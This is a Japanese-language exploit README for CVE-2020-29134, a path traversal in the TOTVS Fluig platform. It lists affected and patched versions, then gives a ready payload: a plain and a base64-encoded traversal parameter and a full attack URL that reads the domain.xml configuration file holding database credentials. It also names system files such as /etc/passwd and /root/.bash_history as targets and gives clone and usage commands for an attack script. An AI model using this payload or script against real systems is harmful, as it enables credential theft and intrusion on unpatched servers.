Totvs Fluig Platform

 Fluigは、ERPシステムや企業の他のシステムと統合する、生産性とコラボレーションのためのプラットフォームであり、
 あなたとあなたのチームの働き方を革新します。

CVE-2020-29134

 TOTVS Fluigプラットフォームは、base64でエンコードされたパラメータを介したパストラバーサルを許可します。
 この脆弱性が悪用されると、データベースへのアクセスデータを含む機密XMLファイルを読み取ることができ、
 場合によってはLDAP接続やERPシステム統合も可能になります。
 さらに、/etc/passwdや/root/.bash_historyなどのシステムファイルも探索できます。
 

影響を受けるバージョン

--
<== Fluig Lake 1.7.0
<== Fluig 1.6.5
<== Fluig 1.6.4
...

パッチ適用済みバージョン

<== Fluig Lake 1.7.0-210303 (Patched)
<== Fluig 1.6.5-210308 (Patched)
<== Fluig 1.6.4-210308 (Patched)

ペイロードの構築

攻撃ベクトル

 http://fluig.host.com/volume/stream/Rmx1aWc=/

パストラバーサル（プレーンテキスト）

 ?t=1&vol=Default&id=1&ver=1000&file=../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml

パストラバーサル（base64エンコード）

 P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=

ペイロード

 http://HOST.FLUIG.COM/volume/stream/Rmx1aWc=/P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=
 

Exploit-DB 参照

 https://www.exploit-db.com/exploits/49622

 

リポジトリのクローン

 # git clone https://github.com/lucxssouza/CVE-2020-29134.git
 # cd CVE-2020-29134
 # chmod +x xfluig.sh

使用方法

 例1: ./xfluig.sh http://fluig.host.com REQUESTS_WFUZZ （wfuzzによって生成されるリクエスト数）

 例2: ./xfluig.sh http://fluig.host.com:PORT